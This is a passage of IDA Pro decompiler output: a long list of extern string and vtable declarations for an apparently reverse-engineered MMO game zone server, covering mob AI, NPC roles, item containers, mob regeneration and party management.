aIndex_2[]; // idb extern char asc_648B78[]; // idb extern char aContainer[]; // idb extern char aItemid[]; // idb extern char asc_648BD4[]; // idb extern char asc_648C0C[]; // idb extern char aItemconversi_1[]; // idb extern char aItemconversion[]; // idb extern char aMagiccontain_6[]; // idb extern char aMagiccontain_4[]; // idb extern char aMagiccontai_10[]; // idb extern char aMagiccontain_3[]; // idb extern char aUsepresentbox[]; // idb extern char aMagiccontain_5[]; // idb extern char aMagiccontain_1[]; // idb extern char aContainerstrNu[]; // idb extern char aMagiccontai_11[]; // idb extern char aMagiccontain_7[]; // idb extern char aMagiccontainer[]; // idb extern char a__9dataHeroW_0[]; // idb extern char asc_648E6C[]; // idb extern char aClcrewardClc_0[]; // idb extern char aClcrewardClc_2[]; // idb extern char aClcrewardClc_3[]; // idb extern char aClcrewardClcr_[]; // idb extern char dataHeroL::a[]; // idb extern char a__9dataHeroLcg[]; // idb extern char a5zoneserverdum[]; // idb extern char aSize_txt[]; // idb extern char aS_pdb_backup_0[]; // idb extern char aS_exe_backup_0[]; // idb extern char aS_pdb_reserveC[]; // idb extern char aS_exe_reserveC[]; // idb extern char aS_pdbC[]; // idb extern char aS_exeC[]; // idb extern char aMapblockMapd_1[]; // idb extern char aMapblockMap_10[]; // idb extern char aMapblockMapd_7[]; // idb extern char aMapblockMapd_3[]; // idb extern char aMapblockMapdoo[]; // idb extern char aMapblockMapd_6[]; // idb extern char aMapblockMapblo[]; // idb extern char aMapblockMapd_4[]; // idb extern char aMapblockMapd_8[]; // idb extern char aMapblockMapb_1[]; // idb extern char aMapblockMapd_2[]; // idb extern char aMapblockMapd_5[]; // idb extern char aMapblockMapd_0[]; // idb extern char aR[2]; // idb extern char a__9dataHeroB_1[]; // idb extern char aMapblockMapb_5[]; // idb extern char a__9dataHeroB_3[]; // idb extern char aMapblockinfo_0[]; // idb extern char a__9dataHeroB_2[]; // idb extern char aMapblockinfo_1[]; // idb extern char aMapblockinfo_5[]; // idb extern char aMapblockinfo_4[]; // idb extern char aMapblockMapb_4[]; // idb extern char aMapblockinfo_2[]; // idb extern char aRb[3]; // idb extern char a__9dataHeroBlo[]; // idb extern char aMapblockMapb_3[]; // idb extern char aMapblockMapb_2[]; // idb extern char aMapblockinform[]; // idb extern char aNotFoundEtcDun[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aMapclusterm_13[]; // idb extern char aMapclusterm_11[]; // idb extern char aMapclusterna_0[]; // idb extern char aMapclusterma_2[]; // idb extern char aMapclusternama[]; // idb extern char aMapclusterna_5[]; // idb extern char asc_649730[]; // idb extern char asc_649770[]; // idb extern char asc_6497B0[]; // idb extern char asc_6497E8[]; // idb extern char asc_649830[]; // idb extern char aTownportalda_1[]; // idb extern char a__9dataHeroTow[]; // idb extern char aTownportaldata[]; // idb extern char aTownportalda_2[]; // idb extern char asc_6498EC[]; // idb extern char aMapclusterma_7[]; // idb extern char asc_649990[]; // idb extern char aJob2_dn02[]; // idb extern char aJob2_dn01[]; // idb extern char aRou[]; // idb extern char aJob1_dn01[]; // idb extern char dataHeroP::a[32]; // weak extern char a__9dataHeroMin[]; // idb extern char aMinihouseendur[]; // idb extern char a__9dataHero_28[]; // idb extern char aMinihouseobjan[]; // idb extern int (__stdcall *MobExplosionElement::MobExplosionBase::_vftable_)(int mob, int); // weak extern int (__thiscall *MobExplosionElement::MobExplosionEnemy::_vftable_[2])(MobExplosionElement::MobExplosionBase *this, int mob, int); // weak extern int (__thiscall *MobExplosionElement::MobExplosionTarget::_vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, int); // weak extern int (__thiscall *MobExplosionElement::MobExplosionAlways::_vftable_)(MobExplosionElement::MobExplosionBase *this, int mob, #615 *misctable); // weak extern int (__stdcall *AxialListAggroAdjust::_vftable_)(int, int, int distancesquar); // weak extern char aMiscdatatab_16[]; // idb extern char aMiscdatatab_33[]; // idb extern char a99[2]; // weak extern char byte_649B16; // weak extern char a01[2]; // weak extern char byte_649B1A; // weak extern char aMiscdatatab_18[]; // idb extern char aAcmrminus[10]; // weak extern char aSlow[5]; // weak extern char aStun[5]; // weak extern char aMiscdatatabl_4[]; // idb extern char aMiscdatatab_29[]; // idb extern char aExpandskill[]; // idb extern char aMiscdatatab_27[]; // idb extern char aMiscdatatab_31[]; // idb extern char aMiscdatatab_19[]; // idb extern char aMiscdatatab_26[]; // idb extern char aMiscdatatab_25[]; // idb extern char asc_649CC0[]; // idb extern char aMiscdatatab_15[]; // idb extern char aMiscdatatab_13[]; // idb extern char aMiscdatatab_20[]; // idb extern char aMiscdatatab_24[]; // idb extern char aMiscdatatab_28[]; // idb extern char aMiscdatatab_14[]; // idb extern char aMiscdatatabl_9[]; // idb extern char aMiscdatatab_22[]; // idb extern char aMobexplosion_2[]; // idb extern char aAbnormalsta_46[]; // idb extern char aAbnormalsta_70[]; // idb extern char aAbnormalsta_52[]; // idb extern char aAbnormalsta_11[]; // idb extern char aAbnormalsta_51[]; // idb extern char asc_64A000[]; // idb extern char asc_64A04C[]; // idb extern char asc_64A080[]; // idb extern int (__stdcall *AbnormalStateContainer::ListIteratorAbstateEquip::_vftable_)(int ele, __int16 handle); // weak extern char aAbnormalsta_15[]; // idb extern char asc_64A13C[]; // idb extern char aAxiallistaggro[]; // idb extern char asc_64A194[]; // idb extern char asc_64A1C8[]; // idb extern char asc_64A1F8[]; // idb extern char asc_64A234[]; // idb extern char asc_64A270[]; // idb extern char asc_64A2C0[]; // idb extern char aGamedbsessi_64[]; // idb extern char aGamedbsessi_63[]; // idb extern char aGamedbsessi_65[]; // idb extern char asc_64A3A4[]; // idb extern char asc_64A3E4[]; // idb extern char asc_64A420[]; // idb extern char asc_64A458[]; // idb extern char asc_64A48C[]; // idb extern char asc_64A4C8[]; // idb extern char asc_64A504[]; // idb extern char asc_64A540[]; // idb extern char asc_64A580[]; // idb extern char asc_64A5B4[]; // idb extern char asc_64A5E4[]; // idb extern char asc_64A61C[]; // idb extern char aMiscdatatableM[]; // idb extern char asc_64A66C[]; // idb extern char asc_64A6AC[]; // idb extern char asc_64A6E0[]; // idb extern char aMiscdatatab_12[]; // idb extern char aMiscdatatab_30[]; // idb extern char aMiscdatatabl_3[]; // idb extern char aMiscdatatabl_0[]; // idb extern char aNeutralization[]; // idb extern char aMiscdatatab_23[]; // idb extern char aMiscdatatab_35[]; // idb extern char aMiscdatatab_10[]; // idb extern char aMiscdatatabl_6[]; // idb extern char aLefthand[]; // idb extern char aMiscdatatab_17[]; // idb extern char aMiscdatatabl_2[]; // idb extern char aAbstatereset[]; // idb extern char aMiscdatatabl_5[]; // idb extern char aMulti[]; // idb extern char aDead[]; // idb extern char aTargetobj[]; // idb extern char aTargetloc[]; // idb extern char aMyobj[]; // idb extern char aMyloc[]; // idb extern char aMiscdatatab_11[]; // idb extern char aMiscdatatab_36[]; // idb extern char aCastertarget[]; // idb extern char aAlways[]; // idb extern char aEnemy[]; // idb extern char aMiscdatatab_21[]; // idb extern char aTarget[]; // idb extern char aCaster[]; // idb extern char aMiscdatatab_34[]; // idb extern char aRoam[]; // idb extern char aRampage[]; // idb extern char aChase[]; // idb extern char aRoot[]; // idb extern char aMiscdatatabl_1[]; // idb extern char aMiscdatatab_37[]; // idb extern char aMiscdatatab_32[]; // idb extern char aMiscdatatabl_7[]; // idb extern char aSkillbreedmob[]; // idb extern char aMobtargetboutM[]; // idb extern char aShineobject_98[]; // idb extern char asc_64ABF4[]; // idb extern char asc_64AC28[]; // idb extern char aErrorInReadMis[]; // idb extern char a__9dataHero_32[]; // idb extern char asc_64ACB4[]; // idb extern char aMagiccontain_0[]; // idb extern char aMobattackseque[]; // idb extern char aMagiccontain_2[]; // idb extern char aMobattackseq_9[]; // idb extern char aMobattackseq_4[]; // idb extern char aHplow_changeor[]; // idb extern char aNextskill[]; // idb extern char aMobattackseq_8[]; // idb extern char aTargetstate[]; // idb extern char aHplow[]; // idb extern char aMobattackse_13[]; // idb extern char aOutofrange[]; // idb extern char aMobattackse_10[]; // idb extern char aSkillchange[]; // idb extern char aMobattackseq_1[]; // idb extern char aMobattackse_12[]; // idb extern char aRepeatstart[]; // idb extern char aAttack[]; // idb extern char aAttseq[]; // idb extern char aOrder[]; // idb extern char aMobattackseq_5[]; // idb extern char aMobattackse_11[]; // idb extern char a__9dataHero_10[]; // idb extern char aMobattackseq_6[]; // idb extern char aMobattackseq_3[]; // idb extern char aMobattackseq_2[]; // idb extern char aMobattackseq_0[]; // idb extern char msg[]; // idb extern char aLuascriptscena[]; // idb extern int (__thiscall *MobActionElement::_vftable_)(void *p, char); // weak extern int (__stdcall *MobTargetSelector::_vftable_)(int type, int slot, int distancesquar); // weak extern char asc_64B148[]; // idb extern char asc_64B17C[]; // idb extern char asc_64B1B0[]; // idb extern char asc_64B1E0[]; // idb extern char asc_64B210[]; // idb extern char asc_64B244[]; // idb extern char aEd_enemyalldet[18]; // weak extern char aEd_aggreesivea[17]; // weak extern char aEd_aggressive2[15]; // weak extern char aEd_nobrain[11]; // weak extern char aEd_aggressive[14]; // weak extern char aEd_bout[8]; // weak extern char asc_64B2D8[]; // idb extern char asc_64B310[]; // idb extern char aMobactioneleme[]; // idb extern char aMobtargetbou_5[]; // idb extern char aMobtargetagg_1[]; // idb extern char aMobtargetagg_2[]; // idb extern char asc_64B3F0[]; // idb extern char aMobthink_chase[]; // idb extern char aPathNotFound[]; // idb extern char aMobactionMa_th[]; // idb extern char asc_64B48C[]; // idb extern char asc_64B4C0[]; // idb extern char asc_64B4FC[]; // idb extern char aShineobject_88[]; // idb extern char aShineobject_86[]; // idb extern int (__stdcall *AxialListNearFriend::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListRandomEnemy::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNPCTargetFind::_vftable_)(int, int, int distancesquar); // weak extern char aMobtargetsel_3[]; // idb extern char aMobtargetsel_2[]; // idb extern char aMobtargetsel_5[]; // idb extern char aMobtargetnobra[]; // idb extern int (__stdcall *MobTarget_AggroClear::_vftable_)(int ele, __int16 handle); // weak extern char aMobtarget_aggr[]; // idb extern char aMobtarget_ag_0[]; // idb extern char aMobtarget_ag_2[]; // idb extern char aMobtargetbou_6[]; // idb extern char aMobtargetsel_1[]; // idb extern char aMobtarget_en_3[]; // idb extern int (__thiscall *MobTarget_EnemyAnalysis::_vftable_)(MobTarget_EnemyAnalysis *this, int ele, __int16 handle); // weak extern char aMobtarget_enem[]; // idb extern char aMobtarget_en_4[]; // idb extern char aMobtarget_en_1[]; // idb extern char aMobtarget_en_0[]; // idb extern char aMobtargetbou_3[]; // idb extern int (__thiscall *MobTarget_EnemyAnalysisWithDisposition::_vftable_)(MobTarget_EnemyAnalysis *this, int ele, __int16 handle); // weak extern char aMobtarget_en_5[]; // idb extern char aAxiallistnearf[]; // idb extern char asc_64B858[]; // idb extern char asc_64B890[]; // idb extern char asc_64B8C4[]; // idb extern char asc_64B8FC[]; // idb extern char asc_64B930[]; // idb extern char asc_64B964[]; // idb extern char asc_64B998[]; // idb extern char aMobtargetbou_8[]; // idb extern char aMobtargetbou_0[]; // idb extern char aMobtargetagg_3[]; // idb extern char aMobtargetbou_1[]; // idb extern char aDSDC[]; // idb extern char aMobtargetbou_2[]; // idb extern char aMobtargethasdi[]; // idb extern char asc_64BAA8[]; // idb extern char asc_64BAD8[]; // idb extern char asc_64BB08[]; // idb extern int (*MobChat::MobChatElementBase::_vftable_)(); // weak extern char aMobchatMobchat[]; // idb extern char aMobchatMobch_2[]; // idb extern char aMobchatMobc_12[]; // idb extern char aMobchatMobch_3[]; // idb extern char aMobchatMobc_14[]; // idb extern char aMobchatMobc_11[]; // idb extern char aMobchatMobch_4[]; // idb extern int (*MobChat::MobChatElement::_vftable_)(); // weak extern int (*MobChat::MobChatElementWander::_vftable_)(); // weak extern char aMobchatMobc_15[]; // idb extern char aMobchatMobch_8[]; // idb extern char aMobchatMobc_13[]; // idb extern char aMobchatMobc_17[]; // idb extern char aMobchatMobch_6[]; // idb extern char aMobchatMobch_9[]; // idb extern char aMobchatMobch_0[]; // idb extern char aMobchatMobch_5[]; // idb extern char aInvalidFlag_1[]; // idb extern char aMobchatMobch_1[]; // idb extern char aMobindex[]; // idb extern char aMobchatMobc_10[]; // idb extern char aRacerescu[]; // idb extern char aHelpsub[]; // idb extern char aHelpmain[]; // idb extern char aDead_1[]; // idb extern char aDamaged[]; // idb extern char aAttack_1[]; // idb extern char aPiece[]; // idb extern char aMobchatMobch_7[]; // idb extern char aMobchatMobc_18[]; // idb extern char a__9dataHero_41[]; // idb extern char a__9dataHero_13[]; // idb extern char aMobdeadcount_0[]; // idb extern char aMobdeadcount_2[]; // idb extern char aMobdeadcountMd[]; // idb extern char aMobdeadcount_3[]; // idb extern char aShineobject_27[]; // idb extern char aShineobject_26[]; // idb extern char aShineobject_25[]; // idb extern int (*EventMobRegen::_vftable_)(); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char asc_64C0FC[]; // idb extern char asc_64C138[]; // idb extern char asc_64C168[]; // idb extern char asc_64C198[]; // idb extern char asc_64C1DC[]; // idb extern char aMobregencla_18[]; // idb extern char aMobregencla_15[]; // idb extern int (__thiscall *MobRegenClass::MobBreederGroup::_vftable_[3])(List *this, __int16 hnd); // weak extern char aMobregenclas_7[]; // idb extern int (__stdcall *MobBreedRegenEnable::_vftable_)(int, __int16 handle); // weak extern char aMobregencla_24[]; // idb extern char aMobregenclas_6[]; // idb extern char aMobregencla_28[]; // idb extern char aMobregencla_16[]; // idb extern char aMobregencla_26[]; // idb extern char aMobregencla_13[]; // idb extern char aMobregenclas_0[]; // idb extern char aMobregencla_30[]; // idb extern char aMobregencla_17[]; // idb extern char asc_64C470[]; // idb extern char asc_64C4B4[]; // idb extern char aKqregentable_2[]; // idb extern char a__9dataHero_11[]; // idb extern char a__9dataHero_23[]; // idb extern char aKqregentable_3[]; // idb extern char aKqregentableKq[]; // idb extern char aMobDRgnumDHndD[]; // idb extern char aMobregencla_22[]; // idb extern char aSSIsLeftDDD[]; // idb extern char aSSIsInFamily[]; // idb extern char aMobregenclas_4[]; // idb extern char aMobregenclas_5[]; // idb extern char aMobbreederMb_r[]; // idb extern char aMobregenclas_3[]; // idb extern char aMobregencla_29[]; // idb extern char a__9dataHero_38[]; // idb extern char aKqregentable_0[]; // idb extern char a__9dataHeroM_5[]; // idb extern char aSDDDDDDDDDDDDS[]; // idb extern char aMobregenclas_9[]; // idb extern char aMobregencla_25[]; // idb extern char aMobregencla_10[]; // idb extern char aMobregencla_23[]; // idb extern char aMobbreederMbg_[]; // idb extern char aMobregencla_14[]; // idb extern char aMobhatcheryM_6[]; // idb extern int (__stdcall *MobRegenClass::MobRegenGroupList::_vftable_[3])(__int16 hnd); // weak extern char aMobhatcheryM_5[]; // idb extern char aMobhatcheryM_0[]; // idb extern char aMobhatcheryM_2[]; // idb extern char aFamilymobman_1[]; // idb extern char aFamilymobman_3[]; // idb extern char asc_64CA40[73]; // weak extern char asc_64CA90[]; // idb extern char asc_64CADC[]; // idb extern char asc_64CB0C[]; // idb extern char asc_64CB40[]; // idb extern char aMobregenclas_8[]; // idb extern char aMobregenclas_2[]; // idb extern char aMobregencla_27[]; // idb extern char aEventmobregenE[]; // idb extern char aFamilymobman_0[]; // idb extern char aMobregencla_11[]; // idb extern char aFamilymobmanag[]; // idb extern char aMobbreedergr_1[]; // idb extern char aMobbreedergrou[]; // idb extern char aMobregenclas_1[]; // idb extern char aMobregencla_19[]; // idb extern char aMobhatcheryM_3[]; // idb extern char aMobhatcheryM_1[]; // idb extern char aMobregen_1[]; // idb extern char aMobhatcheryM_7[]; // idb extern char aMobhatcheryM_4[]; // idb extern char aMobregengroup[]; // idb extern char a__9dataHero_18[]; // idb extern char a__9dataHero_15[]; // idb extern char aMobhatcheryM_9[]; // idb extern char aMobregencla_12[]; // idb extern char aMobregenclassM[]; // idb extern char aMobhatcheryMh_[]; // idb extern char aNpcdeadlog[]; // idb extern char aMobhatcherylog[]; // idb extern char aHuntinglogMo_2[]; // idb extern char aHuntinglogMo_1[]; // idb extern char aHuntlogMobhunt[]; // idb extern char aHuntinglogMobh[]; // idb extern char asc_64D06C[]; // idb extern char aRotate[]; // idb extern char aReturn[]; // idb extern char aShineobject_85[]; // idb extern char aMobroamingMo_2[]; // idb extern char aRoaming[]; // idb extern char aMobroamingMo_3[]; // idb extern char aMobroamingMobr[]; // idb extern char a__9dataHero_19[]; // idb extern char a__9dataHero_20[]; // idb extern char aMobroamingMo_4[]; // idb extern char aScenariobook_4[]; // idb extern char aScenariobook_9[]; // idb extern char aRoamingfile[]; // idb extern char aRoamingdata[]; // idb extern char aMobroamingMo_0[]; // idb extern char a__9dataHero_34[]; // idb extern int (__stdcall *AxialListNearMobAnalyser::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistnearm[]; // idb extern char asc_64D2F0[]; // idb extern int (__stdcall *MobTacticElement::MobActionBase::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInMove::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::DuringReturn2Regen::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionInChase::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionInMove_Cancelable::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionWander::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionTargetting::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionTurning::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionChase::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__thiscall *MobTacticElement::MobAction2Region::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern int (__thiscall *MobTacticElement::MobActionBackStep::_vftable_)(MobTacticElement::MobActionBase *this, int argument); // weak extern void *MobTacticElement::MobActionAvoidOverlap::_vftable_; // weak extern int (__stdcall *MobTacticElement::MobActionWaitSkillEnd::_vftable_[2])(int argument); // weak extern int (__stdcall *MobTacticElement::MobActionSwingDamage::_vftable_[2])(int argument); // weak extern int (__thiscall *MobTacticElement::MobActionRoaming::_vftable_)(MobTacticElement::MobActionBase *, int argument); // weak extern int (__stdcall *MobTacticElement::MobActionNoBrain::_vftable_[2])(int argument); // weak extern char aMobtacticel_19[]; // idb extern char aMobtacticele_6[]; // idb extern char aMobtacticele_0[]; // idb extern char aMobtacticel_24[]; // idb extern char aMobtacticel_15[]; // idb extern char aMobtacticel_13[]; // idb extern char aMobtacticele_8[]; // idb extern char aMobtacticel_10[]; // idb extern char aMobtacticele_4[]; // idb extern char aMobtacticeleme[]; // idb extern int (__thiscall *MobTacticElement::MobActionAttack::_vftable_)(MobTacticElement::MobActionAttack *this, int argument); // weak extern char aMobtacticel_22[]; // idb extern char aMobtacticel_14[]; // idb extern char aMobtacticele_3[]; // idb extern char aMobtacticel_23[]; // idb extern char aMobtacticel_20[]; // idb extern char aMobtacticele_7[]; // idb extern char aMobtacticel_16[]; // idb extern char aMobtacticele_9[]; // idb extern char aShineobject_92[]; // idb extern char aShineobject_91[]; // idb extern char aShineobject_94[]; // idb extern char aShineobject_93[]; // idb extern char aShineobject_96[]; // idb extern char aShineobject_95[]; // idb extern char aMobtacticel_25[]; // idb extern char aMobactionattac[27]; // weak extern char aMobtacticele_5[]; // idb extern char aMobtacticel_18[]; // idb extern char aMobtacticel_21[]; // idb extern char aMobactionchase[26]; // weak extern char aMobtacticele_1[]; // idb extern int (__stdcall *MobTargetBout::_vftable_)(int type, int slot, int distancesquar); // weak extern int (__thiscall *MobTargetAggresive::_vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); // weak extern int (__thiscall *MobTargetAggresive2::_vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); // weak extern int (__stdcall *MobTargetNoBrain::_vftable_)(int type, int slot, int distancesquar); // weak extern int (__stdcall *MobAggroManager::_vftable_[3])(__int16 hnd); // weak extern int (__stdcall *SlayerCollect::_vftable_)(int ele, __int16 handle); // weak extern char aMovemanagerM_1[]; // idb extern int (__stdcall *AxialListBriefExchangerAtMove::_vftable_)(#593 *myself, int, int distancesquar); // weak extern int (__stdcall *AxialListBriefDeleteAtMove::_vftable_)(int, int, int distancesquar); // weak extern char aMovemanagerM_4[]; // idb extern char aMovemanagerM_3[]; // idb extern char aMovemanagerM_2[]; // idb extern char asc_64DE74[]; // idb extern char asc_64DEEC[]; // idb extern char aShineobject_65[]; // idb extern char asc_64DF60[]; // idb extern char asc_64DF9C[]; // idb extern char aG_moveblockche[]; // idb extern char aG_findempty[]; // idb extern char asc_64DFF0[]; // idb extern char aMovemanagerMm_[]; // idb extern char aShineobject_68[]; // idb extern char asc_64E074[]; // idb extern char asc_64E0A4[]; // idb extern char aMultihitdata_1[]; // idb extern char aMultihitdata_3[]; // idb extern char aMultihitdata_0[]; // idb extern char aMultihitdata_4[]; // idb extern char aMultihitdataMu[]; // idb extern char a__9dataHeroMul[]; // idb extern char aShinemultity_1[]; // idb extern char aShinemultitype[]; // idb extern int (__stdcall *AxialListNearScan::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *AxialListNearScanEnemyorAll::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistnea_0[46]; // weak extern int (__stdcall *AxialListNearScanRandomEnemy::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistnea_8[47]; // weak extern int (__stdcall *AxialListNearScanObjectType::_vftable_)(int, int, int distancesquar); // weak extern char aAxiallistnears[]; // idb extern char aAxiallistlimit[]; // idb extern char aAxiallistnea_2[]; // idb extern char aNpcrolebaseNrb[]; // idb extern char asc_64E378[]; // idb extern char asc_64E3C0[]; // idb extern char aShineobject_38[]; // idb extern char aLevellimit[]; // idb extern char aGuild[]; // idb extern char aWeapontitle[]; // idb extern char aItem_1[]; // idb extern char aSkill[]; // idb extern char aWeapon[]; // idb extern char aSoulstone[]; // idb extern char aNpcrole_merc_4[]; // idb extern char aNpcrole_mer_14[]; // idb extern char aNpcrole_merc_6[]; // idb extern char aNpcrole_storem[]; // idb extern char aAuction[]; // idb extern char aNpcrole_mer_15[]; // idb extern char aNpcrole_menu_2[]; // idb extern char asc_64E7C0[]; // idb extern char asc_64E808[]; // idb extern char asc_64E840[]; // idb extern char asc_64E888[]; // idb extern char asc_64E8B8[]; // idb extern char asc_64E914[]; // idb extern char asc_64E950[]; // idb extern char aNpcitemlistI_3[]; // idb extern char aNpcitemlistI_0[]; // idb extern char aNpcitemlistI_2[]; // idb extern char aTDRDCD[]; // idb extern char aNpcitemlistIte[]; // idb extern char aRec[]; // idb extern char aColumn02d[]; // idb extern char aTab02d[]; // idb extern char aNpcitemlistNpc[]; // idb extern char aNpcitemlistN_1[]; // idb extern char aNpcitemlistN_3[]; // idb extern char dataHeroN::a[]; // idb extern char aNpcitemlistN_0[]; // idb extern char aNpcitemlistN_4[]; // idb extern char aNpcrolebaseN_1[]; // idb extern int (__stdcall *NPCRole_JobManager::_vftable_)(int nLocation, int LocationX, int LocationY); // weak extern int (__stdcall *NPCRole_Portal::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRole_ID_Portal::_vftable_)(#593 *, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRole_RandomMulti_Portal::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRole_StoreManager::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__thiscall *NPCRole_Merchant::_vftable_)(NPCRole_Merchant *this, #734 *, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRoleBase::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern int (__stdcall *NPCRole_MenuOpen::_vftable_)(int, int npcfunc, __int16 npchandle); // weak extern char aErrorAtLinktab[]; // idb extern char aNpcmanagerNm_6[]; // idb extern char aNpcmanagerNm_7[]; // idb extern char aRandomgate[]; // idb extern char aIdgate[]; // idb extern char aNpcmenu[]; // idb extern char aGuard[]; // idb extern char aClientmenu[]; // idb extern char aStoremanager[]; // idb extern char aQuestnpc[]; // idb extern char aJobmanager[]; // idb extern char aMerchant[]; // idb extern char aShinenpc[]; // idb extern char aNpcmanagerNm_1[]; // idb extern char a__9dataHeroW_2[]; // idb extern char a__9dataHeroW_9[]; // idb extern char aNpcmanagerNm_l[]; // idb extern char aNm_setnpcPnpcs[]; // idb extern char aNpcmanagerNm_3[]; // idb extern char aNpcmanagerNm_2[]; // idb extern char aNpcmanagerNm_s[]; // idb extern char aNpcmanagerNm_0[]; // idb extern char aNpcmanagerNm_4[]; // idb extern char aNpcrole_merc_5[]; // idb extern char aNpcrole_merc_1[]; // idb extern char aNpcrole_mer_17[]; // idb extern char aNpcrole_mer_16[]; // idb extern char aNpcrole_merc_7[]; // idb extern char aNpcrole_mer_11[]; // idb extern char aNpcrole_merc_3[]; // idb extern char aNpcrole_mer_10[]; // idb extern char a__9dataHeroI_8[]; // idb extern char aMerchantcity_1[]; // idb extern char aMerchantcityda[]; // idb extern char aNotGate[9]; // weak extern char aNpcrolebaseN_2[]; // idb extern char aNpcrole_port_0[]; // idb extern char aNpcrolebaseN_3[]; // idb extern char aNpcrole_port_3[]; // idb extern int (__stdcall *OPToolSession::_vftable_)(int interval); // weak extern char aOptoolobjectOp[]; // idb extern char aZonelistens_22[]; // idb extern char aOptoolsessionO[]; // idb extern char aOptoolsessio_3[]; // idb extern char aOptoolsessio_5[]; // idb extern char aOptoolsessio_1[]; // idb extern char aOptoolsessio_2[]; // idb extern char aOptoolsessio_0[]; // idb extern char aOptoolsessio_7[]; // idb extern char aOptoolsessio_6[]; // idb extern char aSessionWrong[]; // idb extern char aTooLongPacket[]; // idb extern _UNKNOWN unk_64F480; // weak extern char aProtocolpack_2[]; // idb extern char aProtocolpacket[]; // idb extern char aPacketcontaine[]; // idb extern char asc_64F4FC[]; // idb extern char aPacketcontai_2[]; // idb extern char aProtocolpack_0[]; // idb extern char asc_64F53C[]; // idb extern char asc_64F574[]; // idb extern char aToolongpacket[]; // idb extern char aExceptionlog[]; // idb extern char aChangebycondit[]; // idb extern char aParameterChang[]; // idb extern char aParameterClust[]; // idb extern char aParameterClu_3[]; // idb extern char aParameterClu_0[]; // idb extern char aParameterClu_1[]; // idb extern char aParameterConta[]; // idb extern char aShinecommonp_6[]; // idb extern char aShinecommon_12[]; // idb extern char aFreestatmentab[]; // idb extern char aShinecommonp_2[]; // idb extern char aShinecommon_13[]; // idb extern char aFreestatdextab[]; // idb extern char aShinecommon_14[]; // idb extern char aShinecommonp_9[]; // idb extern char aFreestatcontab[]; // idb extern char aShinecommonp_5[]; // idb extern char aShinecommon_16[]; // idb extern char aFreestatinttab[]; // idb extern char aShinecommon_10[]; // idb extern char aShinecommonp_7[]; // idb extern char aFreestatstrtab[]; // idb extern char aStat[]; // idb extern char aShinecommon_11[]; // idb extern char aShinecommonp_0[]; // idb extern char aShinecommonp_4[]; // idb extern char aShinecommonp_8[]; // idb extern char aStattable[]; // idb extern char aLevel_1[]; // idb extern char aShinecommonp_3[]; // idb extern char aShinecommon_15[]; // idb extern char aMaxfreestat[]; // idb extern char aLostexplevel[]; // idb extern char aPrisontime[]; // idb extern char aMaxbufftime[]; // idb extern char aAddbufftime[]; // idb extern char aIntervaltime[]; // idb extern char aDefaultbonusti[]; // idb extern char aMinneedtime[]; // idb extern char aRestexprate[]; // idb extern char aMaxexpbonus[]; // idb extern char aShoutdelay[]; // idb extern char aAttackspeed[]; // idb extern char aShoutlevel[]; // idb extern char aWalkspeed[]; // idb extern char targetcolumn[]; // idb extern char aCommon[]; // idb extern char column[]; // idb extern char content[]; // idb extern char aPrimaryparamet[]; // idb extern char a__9dataHeroW_8[]; // idb extern char a__9dataHero_30[]; // idb extern char aShinecommonpar[]; // idb extern char aFillrandomopti[]; // idb extern char aFillrandomop_1[]; // idb extern char asc_64FD18[]; // idb extern char asc_64FD60[]; // idb extern char asc_64FD94[]; // idb extern char asc_64FDCC[]; // idb extern char aTbDDDDDDDDD[]; // idb extern char aThDDDDDDDDD[30]; // weak extern char aAcDDDDDDDDD[30]; // weak extern char aWcmaxDDDDDDDDD[33]; // weak extern char aWcminDDDDDDDDD[33]; // weak extern char aMenDDDDDDDDD[31]; // weak extern char aIntDDDDDDDDD[31]; // weak extern char aDexDDDDDDDDD[31]; // weak extern char aConDDDDDDDDD[31]; // weak extern char aStrDDDDDDDDD[31]; // weak extern char asc_64FF48[]; // idb extern char asc_64FF78[]; // idb extern char aWms_nc_party_i[45]; // weak extern char aWorldmanage_85[]; // idb extern char aWorldmanage_84[]; // idb extern char aWorldmanage_86[]; // idb extern char aWorldmanage_87[]; // idb extern char aWorldmanage_88[]; // idb extern char aWorldmanage_89[]; // idb extern char aPartymanufa_10[]; // idb extern char aPartymanufac_1[]; // idb extern char aPartymanufa_17[]; // idb extern char aPartymanufa_19[]; // idb extern char aPartymanufa_11[]; // idb extern char aPartymanufac_6[]; // idb extern char aPartymanufa_21[]; // idb extern char aPartymanufa_13[]; // idb extern char aPartymanufac_5[]; // idb extern char aPartymanufac_9[]; // idb extern char aPartymanufa_24[]; // idb extern char aPartymanufactu[]; // idb extern char aPartymanufa_16[]; // idb extern char aPartymanufa_22[]; // idb extern char aPartymanufa_15[]; // idb extern char aPartymanufac_7[]; // idb extern char aPartymanufa_18[]; // idb extern char aPartymanufac_0[]; // idb extern char 